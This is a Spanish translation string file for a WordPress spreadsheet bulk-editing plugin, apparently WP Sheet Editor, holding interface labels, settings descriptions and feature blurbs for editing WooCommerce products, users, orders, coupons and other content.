                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

                  El proceso ha terminado

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y gestionar rápidamente tu sitio web de donaciones.

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, descripción, fecha, SKU, precio normal, precio rebajado, estado de inventario, gestión del inventario, cantidad de existencias.

                  Más columnas y tipos de producto disponibles como extensión premium.

                  ¿Merecemos 5 estrellas? Sí, lo merecen. . - . No¿Falta una columna?¿Falta una columna? Habilítala ¿Faltan campos? Haz clic aquíACF: ¿Mostrar las casillas de verificación como desplegados de selección múltiple?Aceptar posts de este post typeAceptar términos de esta taxonomíaAcciónActivar el modo de pantalla completaActiva esta opción para eliminar los botones de paginación y cargar las filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas al mismo tiempo, puedes cargar miles de filas sin problemas.Filtros activos:Activo.Añadir NuevoAgregar nuevas columnas a la hoja de cálculoAgregar Nueva Hoja de CálculoAgrega un nombre para este grupo de columnasAñadir una llamada a la acción o cualquier texto al principio o al final de tus postsAñadir columnas nuevas para campos personalizadosAgrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.¿Añadir clases html a las celdas " estado de la entrada " en función de sus valores?Añadir nuevoAñadir nueva columnaAñadir un nuevo post typeAgregar tiempo a las fechas existentesEl rol de administrador puede ver y editar todo.Advanced Custom FieldsBúsqueda AvanzadaAjustes AvanzadosModo avanzadoBúsqueda avanzadaConfiguración avanzadaTodas las Hojas de CálculoTodos los cambios fueron guardados.Se han guardado todos los elementos.Todas las funciones disponibles en la hoja de cálculo del backend pueden utilizarse en el frontend.Todos los parámetros se utilizarán para buscar variaciones en lugar de los productos principales.Todos los productos de la tiendaTodas las filas de mi lista actualTodos los productos variablesPermitirPermitir reservasPermitir saltos de línea en valores al exportar e importar?¿Permitir varios archivos por campo?¿Permitir varios posts por campo?¿Permitir varios términos por campo?Permitir HTML seguro en títulos de posts?¿Permitir editar esta columna en las filas de variaciones?¿Permitir editar usando fórmulas?¿Permitir ocultar la columna?¿Permitir ocultar esta columna en la página de ajustes?¿Permitir la importación de imágenes desde servidores FTP?¿Permitir renombrar la columna en la página de ajustes?¿Permitir renombrar la columna?¿Permitir ver el slug de la URL de la variación?¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier html en la columna de contenido del post?Permitir a los usuarios editar campos personalizados, añadir nuevas columnas al editor, habilitar campos, deshabilitar campos principales y ordenar los campos. Puedes personalizar completamente el editor frontend.Permite a tus clientes editar productos WooCommerce usando la hoja de cálculo sin tener que usar el escritorio de wp-adminPermite a los vendedores de tu mercado editar los productos masivamentePermite a los vendedores de tu mercado importar productos en el frontendPermite que tus lectores entreguen entradas del blog usando la hoja de cálculoPermite a los compradores de tu tienda descargar el catálogoPermite a los clientes de tu tienda realizar búsquedas avanzadas en el catálogo Permite a los empleados de tu tienda gestionar el inventario y los preciosPermite a tus visitantes publicar eventosPermitir, pero se avisará al clienteValores permitidosDescargadaTexto alternativo¿Ejecutar siempre la acción save_post después de editar cualquier fila de la entrada?Y más.Y ver vistas previas durante la ediciónCualquiera de estos valores (Ingresa múltiples valores separados por ;)Añadir al finalAplicación/SoftwareAplicar cambios masivamenteAplicar ajustes¿Seguro de que quieres borrar este post type? También borrarás los post en el post type¿Estás seguro de que quieres borrar esta columna?¿Estás seguro de que quieres eliminar esta vista de columnas?¿Estás seguro de que quieres eliminar esta tarea programada y todos sus archivos relacionados?¿Acoplar cada término de taxonomía de la jerarquía a los posts?Atributo %d por defectoAtributo %d globalNombre del atributo %dValor del/los atributo(s) %dAtributo %d visibleNombre del atributoValor(es) del atributoVisibilidad del atributoAtributosLos atributos aparecen como desplegables en la página del producto, donde el usuario puede seleccionar los colores, tamaños y cualquier atributo de la variación. Aquí se pueden definir las opciones por defecto seleccionadas en los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo funciona para Productos Variables y deben tener variaciones, de lo contrario los atributos por defecto no se guardarán.AutorEl rol de autor sólo puede ver y editar sus propios post y subir imágenes.Automático (por defecto)¿Reintentar automáticamente los lotes fallidos?Autocompletar las celdasAutomáticoComponentes disponiblesHojas de cálculo disponiblesHerramientas disponibles (opcional)Puntuación mediaBackend¿Permitir reservas?Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras actualizaciones.Búsqueda básicaPoner estas columnas en la lista negraMasivoEditor MasivoFunción de cambios masivosAcciones masivasEditar esta columna masivamenteCambio masivo no ejecutado. No se han encontrado elementos que cumplan los criterios.ComprarComprar el paquete¡Compra la extensión ahora!Por defecto, WordPress muestra una barra negra en la parte superior de la página cuando un usuario que ha iniciado sesión ve una página del frontend. La barra te permite acceder a wp-admin, cerrar sesión, editar la página actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar el código abreviado: [vg_display_logout_link] para mostrar el enlace de cierre de sesión.Por defecto, las fechas se muestran en un calendario, el contenido del post tiene una opción de editor de texto, las imágenes muestran una vista previa, etc. Puedes habilitar esta opción para que se muestre todo como texto sin formato y deshabilitar el formato elegante.Por defecto mostramos automáticamente columnas para todos los nuevos campos encontrados, así que cada vez que detectamos nuevos campos puedes verlos y editarlos inmediatamente. Pero esto puede "romper" tu orden de columnas o molestarte si has habilitado columnas específicas. Habilita esta opción para generar esas columnas pero dejarlas desactivadas para que puedas habilitarlas más tarde.Por defecto, mostramos comentarios en algunas columnas indicando el formato del valor o por qué están bloqueados. Por ejemplo, la columna de categorías muestra un consejo que indica que hay que separar los términos con una coma y cómo añadir categorías menores, las columnas de variaciones tienen un consejo que indica por qué están bloqueadas para los productos de los padres. Puedes activar esta opción para desactivar esos consejos.Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, programado, papelera. Sin embargo, algunos plugins registran estados personalizados: gestores de trabajos, comercio de madera. Habilita esta opción para mostrar todos los estados personalizados en la columna "status". CUIDADO. Mostraremos todos los estados de todos los post types en el desplegable porque es imposible saber el post type de cada estado al no poder separarlos. Haz esto sólo si eres un desarrollador.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los ID de los términos separados por comas.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los términos separados por comas.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y deshabilitar la lista infinita.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y desactivar la lista infinita.Por defecto, copiaremos todos los atributos y todas las variaciones y reemplazaremos las variaciones existentes. Puedes habilitar esta opción para copiar variaciones individuales y añadirlas a las variaciones existentes en el producto de destino.Por defecto, por razones de rendimiento, activamos los eventos de la API WC cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos de la API de WC cuando se edite cualquier campo, incluidos los campos no relacionados con WC.Por defecto, si el producto es variable, activamos la opción "Usar para variaciones" para ahorrarte tiempo y que puedas crear tus variaciones más rápido. Pero si prefieres activar esa opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, la columna "padre" muestra títulos y guarda utilizando títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. Esto es útil si tienes títulos duplicados y necesitas guardar el padre exacto por ID.Por defecto, el importador permite guardar imágenes usando URLs internas completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: ftp://user:password@host:port/path/to/image.png. Esto hará que la importación sea más lentaBy default, we create 100 copies per batchPor defecto, exportamos e importamos una columna llamada "Imágenes" con la imagen destacada y galería combinada. Habilita esta opción para exportar e importar una columna para la imagen destacada y una para la galería de imágenes.Por defecto, hacemos visibles los atributos en los productos cuando guardas cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si prefieres habilitar esta opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, sólo asignamos el último término de la jerarquía a las entradas porque WordPress las gestiona correctamente de forma automática. Pero si quieres asignar cada término a la entrada, incluyendo las categorías padre, habilita esta opción.Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí para ver previsualizaciones más grandes.Por defecto, eliminamos cualquier html inseguro de todas las columnas de la hoja de cálculo antes de guardar los valores. Puedes activar esta opción si quieres permitir a los superadministradores o administradores de WordPress añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala bajo tu propia responsabilidad.Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un campo de datos de la entrada (campos que no sean meta y taxonomías) por razones de rendimiento. Habilita esto si otros plugins no están detectando nuestros cambios o los webhooks no se están ejecutando.Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda avanzada, edición masiva, exportación, importación, etc), aunque estén deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar solo las columnas habilitadas.Por defecto, mostramos cada casilla de verificación como una columna separada, pero si tienes casillas de verificación con muchas opciones es posible que desees utilizar una columna con un desplegable en su lugar.Por defecto, mostramos el nombre del archivo como texto de vista previa junto a la miniatura, habilita esto para mostrar solo la miniatura y botones únicamente.Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas.Por defecto, al exportar una columna con imágenes, agregamos el ID del archivo a la URL para que al importar, sepamos el origen de la imagen y la guardemos más rápido. Activa esta opción para no agregar el ID a la URL, todo funciona bien al habilitar esta opción, solo que el guardado puede ser un poquito más lento.Por defecto, la importación se detiene cuando un producto hace referencia a una imagen rota y hay que corregir el problema en el archivo e iniciar una nueva importación. Habilita esta opción y te permitiremos importar productos sin imágenes cuando la URL de la imagen esté rotaCANTIDAD DE CARACTERES <CANTIDAD DE CARACTERES >CONTIENEColumna en el CSVColumna en el CSVArchivo CSVArchivo CSV desde mi computadoraArchivo CSV desde una URLArchivo CSV en el servidorUbicación del archivo CSVCalendarioCancelarCancelar la importaciónCancelar los cambios y cerrar la ventana emergentePoner en mayúsculas la primera letra de cada palabra del campo. Es decir, convertir "mi título" en "Mi Título".Poner en mayúsculas las palabrasLeyendaCuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el procedimiento.Nombre de la categoría...Tipo de celdaCambiar los ajustes de los atributosCambiar el color de fondoCambios guardadosLos cambios se guardaron con éxitoCasilla de verificaciónBorrar valorHaz clic aquí para exportar los ajustesHaz clic aquí para ver todas las columnas otra vezBotónClics ahorrados
                  (estimado)CerrarFormato de columnaGrupos de columnasClave de la columnaNombre de columnaColumna no encontrada. Intenta con otro criterio de búsqueda.Columna removida. Ve a "Ajustes > Ocultar/mostrar columnas" para habilitarla de nuevoConfiguraciones definidas en el gestor de columnasTamaños de las columnasTítulos de las columnasAncho de columna (pixeles)Las columnas no se pudieron guardar. Inténtalo de nuevo.Columnas creadas manualmenteLímite de columnasGestor de columnasRenombrar columnasRedimensionar columnasColumnas restauradas con éxito. Por favor, recarga la página para ver las columnas restauradas y habilitarlasVisibilidad de las columnasVisibilidad de las columnas y los Campos Personalizados (opcional)Recuento de comentariosComentariosHoja de Cálculo de Comentarios, Reseñas y Notas de PedidoContáctanosContiene palabra claveContenidoContinuarEl rol de colaborador sólo puede ver y editar sus propios posts, pero no puede subir imágenes.Copiar y pegar desde otra hoja de cálculo o tablaCopiar y pegar en la siguiente hoja de cálculoCopiar archivos de este producto: (Necesitas guardar los cambios después.)Copiar de otras columnasCopiar de esta columnaCopiar precio normal y disminuir en porcentajeCopiar el precio normal y disminuir en cantidadCopiar el valor de otros campos en este campo.
                  Ejemplo, copiar "precio rebajado" al campo "precio normal".Copiar las variaciones este/estos producto(s).Copiar variacionesCopiar variaciones y atributos de este producto:Copiar variaciones más rápido: Número de variaciones a copiar por loteCopiar variaciones de este productoCrear y copiar variaciones para los productos variables.Crear columnaCrear nuevas filas y actualizar las filas existentesCrear este número de variacionesCrear variaciones¿Crear variaciones para cada combinación de atributos?Ventas cruzadasMonedaHoja de cálculo actualHoja de Cálculo de Tablas de Bases de Datos PersonalizadasNombres de atributos personalizadosAtributo personalizado: %sColumnas personalizadasFórmula personalizadaTipos de post personalizados¿Personalizar las característicasModo oscuroFaltan datos, inténtalo de nuevo más tarde.Fuente de datosFechaFecha (GMT)Fecha y horaFecha InicialDíasDesactivar el prefetch de los datosSeparador de decimales¿Decodificar las comillas?Disminuir enDisminuir en númeroDisminuir en porcentajeDisminuye el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.Deducir tiempo de las fechas existentesPor defectoAtributo por defectoAtributos predeterminadosOrden por defectoPor defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o durante la importación, descargamos la imagen y la guardamos en la librería multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, cualquier descarga que supere eso será cancelada para evitar problemas de rendimiento.EliminarBorrar todoEliminar completamenteEliminar campoBorrar filas más rápido: Número de filas a borrar por loteBorrar filaBorrar filasEliminar campo serializado¿Borrar las imágenes adjuntas al borrar una entrada?Borrar los elementos nuevos y mantener el elemento más antiguoBorrar los elementos antiguos y mantener el elemento más reciente¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de cálculo?Video de demostraciónDescripciónDeshabilitar todas¿Deshabilitar la carga lenta de las celdas?Deshabilitar columna. Puedes habilitarla más tarde.¿Deshabilitar la promoción de extensiones?¿Desactivar las acciones posteriores al guardar cambios?¿Deshabilitar las estadísticas de inventario de productos?¿Deshabilitar el soporte de columnas serializadas?¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?¿Deshabilitar la activación automática de la opción "Es visible" para los atributos de los productos?¿Deshabilitar la activación automática de la opción "Usar para variaciones" para los atributos en los productos variables?¿Deshabilitar la detección automática del formato?¿Desactivar la carga automática de filas?¿No mostrar el nombre del archivo en la celda de las imágenes?¿Desactivar el modo de pantalla completa?¿Deshabilitar la api heartbeat en la hoja de cálculo?¿Deshabilitar la barra de ayuda?¿Deshabilitar la ventana emergente que te pide instalar extensiones importantes?¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?Deshabilita esta opción si estás usando un plugin de caché de objetos/bases de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. Cuando editas muchas entradas, WordPress intenta "limpiar" la caché incluso si no estás usando un plugin de caché, haciendo cientos de consultas innecesarias a la base de datos.¿Deshabilitar el widget de estadísticas de uso?DeshabilitadaSi desconectas el sitio actual de tu cuenta de Google y de la API de WP Sheet Editor, se detendrán las tareas de sincronización que hayas creado en este sitio. Sin embargo, las tareas de sincronización creadas por otros usuarios en este sitio, que se sincronizan con sus propias cuentas de Google, permanecerán activas. Tus otros sitios de WordPress seguirán funcionando con normalidad. ¿Quieres continuar?¿Mostrar el valor bruto en las celdas seleccionadas?Mostrar el editor de hojas de cálculo en el frontendMostrar el editor de hojas de cálculo en el frontendMostrar las variacionesNo permitir¿No copiar las imágenes de las variaciones?¿Quieres deshabilitar las columnas para los nuevos campos encontrados?Quieres borrar {rows_number} filas de la base de datos completamente? Si quieres restaurarlas después, deberías hacer una copia de seguridad antes.¿Quieres actualizar o crear filas?¿No mostrar las columnas deshabilitadas en los módulos?¿No mostrar columnas de sólo lectura en la búsqueda avanzada?DescargarID de la descarga %dURL de la descarga %dNombre de la descarga %dDescargar archivo CSVURL de la descargaCaducidad de la descargaArchivos descargablesArchivos descargables: URLsArchivos descargables: NombresLímite de descargasNombre de la descargaTipo de descargaActualización de descargaDescargableDescargasArrastra las columnas a la izquierda o a la derecha para habilitarlas/deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. Haz clic en el botón "editar" para renombrarlas, haz clic en el botón "x" para borrarlas por completo (sólo cuando estén deshabilitadas previamente).DuplicarDuplicar (Herramienta)Duplicar desde el idioma principalDuplicar artículos masivamenteDuplicar elementos masivamente.Duplicar filaDuplicar filas: Número de copias a crear por loteDuplicar este elemento:Archivos de descarga EDDPrecio variable EDDHABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: {columns}. ¿Quieres recargar ahora? Recargaremos automáticamente.TERMINA CONHoja de Cálculo de Easy Digital DownloadsEditarEditar Editar %sEditar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. Descargar PluginEditar Campos Personalizados en una Hoja de CálculoEditar Entradas y Páginas en una Hoja de CálculoEditar perfiles de usuario en una hoja de cálculo - BásicoEditar Perfiles de Usuario en la Hoja de Cálculo - COMPLETOEditar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre filas,
                  Editar post types personalizados y campos personalizados, Editar Perfiles de Usuario, y MásEditar %s de WordPressEditar todas las filas de mi búsqueda actual (incluyendo las filas no visibles).Editar atributosEditar categorías, etiquetas y atributos en una hoja de cálculoEditar archivosEditar en una Hoja de CálculoEditar la meta claveEditar solo los productos simples y padresEditar solo las variacionesEditar ajustesEditar las filas que he seleccionado manualmente en la hoja de cálculo.Editar las mismas filas que seleccioné manualmente previamenteEditar "%s"Editando:El rol de editor puede ver y editar todos los post y páginas.ElementorCorreo electrónicoMensaje del correoAsunto del correo electrónicoHabilitarHabilitar filtros avanzadosHabilitar todas¿Habilitar el guardado automático?Habilitar columnaHabilitar comentariosHabilitar nueva hoja de cálculo¿Habilitar la opción de restringir las vistas de hojas de cálculo por usuario?Habilitar la paginaciónHabilitar las valoraciones¿Habilitar el modo simple?Habilita el modo avanzado en la parte inferior de la página para personalizar el ancho de la columna, el formato (editor, carga de archivos, taxonomías), etc.¿Habilitar modo oscuro?Habilitar el selector de términos de taxonomía bonitoHabilitar la corrección de la codificación utf8Habilita esta opción si quieres copiar todos los datos de la variación, excepto la imagen de la variación.HabilitadasHabilitar esta columna requiere una recarga de la páginaIngresa %sIngresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. Puedes agregar rangos como 20-50 como un acceso directo.Ingresa un formato de fecha. Lista de formatos. Ejemplo: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: A-m-d H:i:sIngresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: D-M-A Ingresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-d H:i:sIngresa una palabra claveIngresa una palabra clave para excluir filas. Separa múltiples palabras claves con un punto y coma (;)Ingresa un nombre...Ingresa un número y esas columnas se fijarán al hacer scroll horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas.Ingresa un término de búsqueda...Ingresa un títuloIngresa un nombre de usuario o correo electrónico...Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás tener que desplazarte por docenas de columnas para encontrar la que necesitas.Ingresa cada selección en una nueva línea. Para mayor control, puedes especificar un valor y una etiqueta así: rojo : RojoIngresar nombre del elemento...Ingresa varios SKUs o IDs separados por comasIngresa múltiples URLs separadas por comasIngresa varios atributos separados por |Ingresa los códigos de varios idiomas separados por comas y crearemos copias del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán omitidos.Ingresa varios títulos separados por comasIngresa varios términos separados por %sIngresa varios términos separados por comasIngresa una URL por líneaIngresa uno o más términos separados por %s o uno nuevo en cada línea. Ingresa la jerarquía completa como "Padre > Hijo" para remover subcategoríasIngresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio.com/wp-content/uploads/2016/01/file.jpg) o una URL externa.Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio.com/wp-content/uploads/2016/01/file.jpgIngresa las URL separadas por comas. Pueden ser de tu propio sitio.Ingresa las URL separadas por comas. Deben ser de tu propio sitio.Ingresa el nombre del atributoIngresa el nombre de la columna (lo que quieras) y selecciona la clave de campo en el menú desplegable. Si no la encuentras, puedes escribirla en el desplegable. Ver Tutorial Debes ingresar la jerarquía completa como padre > hijoIngresa la lista de claves de campo separadas por comas, puedes ingresar la clave completa del campo meta o las palabras clave o prefijos parciales. Esto es útil porque algunos plugins añaden miles de campos innecesarios a la base de datos y desordenan la hoja de cálculoIngresa los nombres de Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como padre > hijo > hijoIngresa el número.Ingresa el número del porcentaje.Ingresa el nombre o el slug del término.Ingresa el valor a añadir al final del valor existente.Ingresa el valor para añadir al inicio del valor existente.Error en la fila con el ID: %d - %sError. El motor matemático no pudo ejecutar la operación matemática: %1$s, ID: %2$dError. La columna "Estado" debe estar habilitada en la hoja de cálculo antes de remover los duplicados.Error: %sError: El nuevo valor está vacío o es igual al valor antiguoEtc.Hoja de Cálculo de The Events CalendarYa está todo guardado.Todo lo que necesitas para todos los post types y productosTodo lo que necesitas para los usuarios y clientesEjemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 (Establecer precio normal - 30%)Ejemplo: ExtractoEjecutarEjecutar AhoraSalirSalir del modo de Pantalla CompletaExportarExportar e importar ajustesExportar columnaExportar filas más rápido: Número de filas a exportar por loteExportar a un archivo CSVAmpliar la hoja de cálculoNombre de la extensiónExtensionesExtensiones que requieren actualizaciónImágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?Campos de búsqueda marcados como favoritosImagen DestacadaImagen destacadaCampoCampo 2: Columna en el CSVCampo 2: Campo en WordPressArchivo (URL o ruta)ID del archivoURL del archivoURLs de archivosNo se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo.Cargar archivoCarga de archivos (múltiple)Carga de archivos (individual)El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una codificación incorrecta. Si editaste el archivo en Excel, verifica que se guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo los valores y no el formato para evitar pegar caracteres inválidos.Archivos guardados.Filtrar elementos de la listaPaso finalEncontrar estos IDs:Encontrar estas URLs:Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 parámetros: $current_data (string con el valor actual de la celda) y $row_id, la función debe aceptar los 2 parámetros y devolver el valor modificado para guardar como string. Automáticamente guardaremos si el valor devuelto cambió. Leer más.Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta de búsqueda, actualizaremos sólo los posts con el autor MarcosPor ejemplo, si seleccionas las categorías del blog, sólo aceptaremos categorías del blog en esta columna.Por ejemplo, si seleccionas el post type "producto", sólo aceptaremos títulos de productos.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos productos que no tienen traducción al español ni al alemán.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos términos que no tienen traducción al español ni al alemán.Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se borra la imagen destacada y las imágenes de la galería de productos de la biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, se romperán las imágenes en otros postsModo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda está vacío)Fórmulas¿Congelar las columnas iniciales del lado izquierdo?Hoja de Cálculo FrontendHojas de Cálculo FrontendURL CompletaContenidoEl modo de pantalla completa está activadoGaleríaAjustes generalesGenerar extractoGenerar columnas de campos serializados basados en estos postsObtén ayuda instantánea en el chat en vivo + soporte por correo electrónico en horas de oficinaObtén las siguientes %d extensiones por sólo $ %s $ %sHoja de Cálculo de GiveWPOrden globalPásate a PremiumAtrásIr a la páginaIr arribaHojas de Cálculo de GoogleGuías y 